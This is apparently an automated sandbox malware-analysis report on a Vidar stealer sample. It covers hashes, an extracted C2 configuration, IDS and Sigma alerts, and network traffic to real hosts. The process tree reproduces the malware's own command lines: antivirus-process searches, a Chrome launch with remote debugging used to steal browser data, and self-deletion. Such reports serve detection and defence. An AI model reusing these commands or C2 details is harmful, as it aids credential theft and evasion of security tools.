Edit tour

Windows Analysis Report
9EI7wrGs4K.exe

Overview

General Information

Sample name:	9EI7wrGs4K.exe renamed because original name is a hash value
Original sample name:	8eb4f92605e35c57a42b0917c221d65c.exe
Analysis ID:	1579617
MD5:	8eb4f92605e35c57a42b0917c221d65c
SHA1:	0e64d77ef1b917b3afe512b49710250c71369175
SHA256:	b57d78d93f74f7ae840ab03d3fda4f22a24ad35afcf9a53128cf82a92a67a085
Tags:	exeuser-abuse_ch
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

9EI7wrGs4K.exe (PID: 7272 cmdline: "C:\Users\user\Desktop\9EI7wrGs4K.exe" MD5: 8EB4F92605E35C57A42B0917C221D65C)

cmd.exe (PID: 7324 cmdline: "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7412 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7420 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7456 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7464 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7500 cmdline: cmd /c md 245347 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 7516 cmdline: findstr /V "profiles" Organizing MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7532 cmdline: cmd /c copy /b ..\Judy + ..\Sheets + ..\Another + ..\Wanting b MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Dry.com (PID: 7548 cmdline: Dry.com b MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 7928 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2664 --field-trial-handle=2436,i,2326185924159091694,5961255311856640227,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 1228 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\245347\Dry.com" & rd /s /q "C:\ProgramData\OHVS0RIMGLNY" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6348 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

choice.exe (PID: 7564 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000003.1842774905.0000000003C91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000002.2461862261.000000000406D000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.1842371095.0000000003C91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000003.1842833283.000000000165D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000002.2458694756.000000000157D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2459089556.0000000001638000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000002.2461862261.0000000003F91000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000003.1842430157.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000003.1842551934.0000000003F9E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000A.00000003.1842719771.00000000015A1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Dry.com PID: 7548	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Dry.com PID: 7548	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Dry.com PID: 7548	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.Dry.com.3f90000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Sigma Signatures

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Dry.com b, ParentImage: C:\Users\user\AppData\Local\Temp\245347\Dry.com, ParentProcessId: 7548, ParentProcessName: Dry.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 7928, ProcessName: chrome.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move App App.cmd & App.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7324, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7464, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:21:29.220597+0100	2044247	1	Malware Command and Control Activity Detected	94.130.188.57	443	192.168.2.4	49745	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:21:31.758950+0100	2051831	1	Malware Command and Control Activity Detected	94.130.188.57	443	192.168.2.4	49746	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:21:29.220536+0100	2049087	1	A Network Trojan was detected	192.168.2.4	49745	94.130.188.57	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:21:24.647125+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.4	49743	94.130.188.57	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0000000A.00000003.1842774905.0000000003C91000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199809363512", "Botnet": "m0nk3"}

Multi AV Scanner detection for submitted file

Source: 9EI7wrGs4K.exe	ReversingLabs: Detection: 21%
Source: 9EI7wrGs4K.exe	Virustotal: Detection: 18%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 89.5% probability

Source: 9EI7wrGs4K.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.188.57:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: 9EI7wrGs4K.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,	0_2_00406301
Source: C:\Users\user\Desktop\9EI7wrGs4K.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406CC7
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B4DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00B4DC54
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B5A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00B5A087
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B5A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00B5A1E2
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B4E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00B4E472
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B5A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	10_2_00B5A570
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B566DC FindFirstFileW,FindNextFileW,FindClose,	10_2_00B566DC
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B1C622 FindFirstFileExW,	10_2_00B1C622
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B573D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	10_2_00B573D4
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B57333 FindFirstFileW,FindClose,	10_2_00B57333
Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com	Code function: 10_2_00B4D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00B4D921

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\245347\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 11MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.4:49745 -> 94.130.188.57:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 94.130.188.57:443 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.4:49743 -> 94.130.188.57:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 94.130.188.57:443 -> 192.168.2.4:49746

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199809363512

Source: global traffic

HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 94.130.188.57 94.130.188.57
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 44.206.23.126
Source: unknown	TCP traffic detected without corresponding DNS query: 44.206.23.126
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 18.66.161.122
Source: unknown	TCP traffic detected without corresponding DNS query: 13.227.8.41
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 18.66.161.122
Source: unknown	TCP traffic detected without corresponding DNS query: 13.227.8.41
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 18.66.161.122
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.179
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.179
Source: unknown	TCP traffic detected without corresponding DNS query: 18.66.161.122
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.179
Source: unknown	TCP traffic detected without corresponding DNS query: 23.32.238.179
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\245347\Dry.com

Code function: 10_2_00B5D889 InternetReadFile,SetEvent,GetLastError,SetEvent,

10_2_00B5D889

Source: global traffic	HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: toptek.sbsConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chrome.exe, 0000000F.00000003.2035434844.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2035317380.0000335C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2035235015.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000000F.00000003.2035434844.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2035317380.0000335C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2035235015.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: bGZEIFIQcYIvivmO.bGZEIFIQcYIvivmO
Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: toptek.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----T0ZUSR1VAI58QQI5XT2DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0Host: toptek.sbsContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
